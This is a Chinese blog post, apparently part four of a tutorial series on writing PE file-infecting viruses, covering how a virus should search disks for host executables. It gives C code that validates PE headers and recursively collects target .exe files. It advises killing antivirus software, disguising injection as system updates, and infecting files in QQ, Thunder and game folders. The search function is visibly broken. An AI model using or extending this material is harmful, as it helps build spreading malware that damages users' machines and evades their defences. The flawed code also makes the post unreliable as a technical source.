关于PE病毒编写的学习(四)——关于历遍磁盘的讨论

来源:互联网 发布:c语言关键字 编辑:程序博客网 时间:2024/05/21 06:42

 

在上一章中的“前置病毒”中,由于它只是一个测试病毒,因此该病毒只是搜索病毒文件所在文件夹的exe文件。

显然,为了让它具有更好传染性,能够历遍整个磁盘或某些重要文件夹的特性,是十分重要的。

开始讨论历遍之前,先让我们来改进原来的代码

首先在上一章的代码中,只要结尾是“.exe”的文件就被判断为"可执行程序",这种方法在大多数情况下是正确的,但是如果程序经过压缩或加密后,该文件的PE结构会有改变,虽然它实际上让然能履行可执行程序的功能,但针对PE文件的操作可能出错。因此,确定.exe后缀之后,做更加详细的文件类型检查很多时是必要的,参考代码如下:

************************************************************************/  

/* 函数说明:判断文件是否是可执行文件

/* 参    数: hFile 文件句柄

/* 返 回 值:是可执行文件返回真,否则返回假 

BOOL IsExeFile(HANDLE hFile)
{
 IMAGE_DOS_HEADER dosHeader;
 IMAGE_NT_HEADERS32 ntHeader;
 DWORD nCount;

 BOOL bResult=FALSE;
 ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);

//dos头检查
 if(nCount== sizeof(dosHeader))
   if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 头?
     if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)

       {

//NT头检查

         ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
         if(nCount == sizeof(ntHeader))
            if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 头
               if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判断

                                                                                                                                 //其他类型PE文件

                   bResult=TRUE;

       }
  SetFilePointer(hFile, 0, NULL, FILE_BEGIN)

  return bResult;

}

 好嘞,终于进入正题,让我们谈谈历遍磁盘或目录的问题。

 先说说好的病毒设计对历遍磁盘的设计要求:

        1、避免对系统冲击过大:历遍磁盘对系统冲击相当大,并且有可能多个病毒同时开启,如果搜索时间较长,应该适当挂起程序,

                                           将时间片还给系统

        2、最好限制搜索文件数量和范围:不要试图感染本机所有文件,这样只能是病毒和系统一起完蛋;感染系统文件虽然十分有用,

                                                       在有保护的情况下,非常容易被杀毒软件发现。

        3、搜索速度要快:很多时候,不能单独开启新进程执行正常程序,因此正常程序不得不等待病毒程序完毕

解决方方案:

        方案一:如果能干掉杀毒软件的话,将关键目录目标文件和一般目录结合搜索,能取得不错效果

        方案二:如果你为人低调的话,通过伪装或隐藏,比如模拟系统更新来注入到关键目录中

        方案三:没有办法也是办法,搜索普通目录,比如迅雷、qq、一些网游也是不错的选择

不管你选择哪种方法,这里给出一个文件树搜索参考代码:

************************************************************************/  

/* 函数说明:历遍该路径下的可执行文件

/* 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  pFileHandle 将找到的符合要求文件句柄储存在这里

/* 返 回 值:找到符合要求文件的数目  

int SearchHostFile(TCHAR* Top,int nCount,PHANDLE  szFileHandle)

{

  static  int  nResult=0;

  WIN32_FIND_DATA fd;
  HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
  if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)

  {

    if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
       SearchHostFile(fd.cFileName,nCount,szFileHandle);

    else

       {

          while(nResult<nCount)

          {

             if(IsExeFile(szFileHandle[nResult]))

               nResult++;

             FindNextFile(szFileHandle[nResult],&fd);

             if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)

                break;

             sleep(0);

          }

       }    

   }

   return nResult;

}

以上纯属个人观点,由于本人能力有限,如有错误,请你指正,希望大家常来常往,互相交流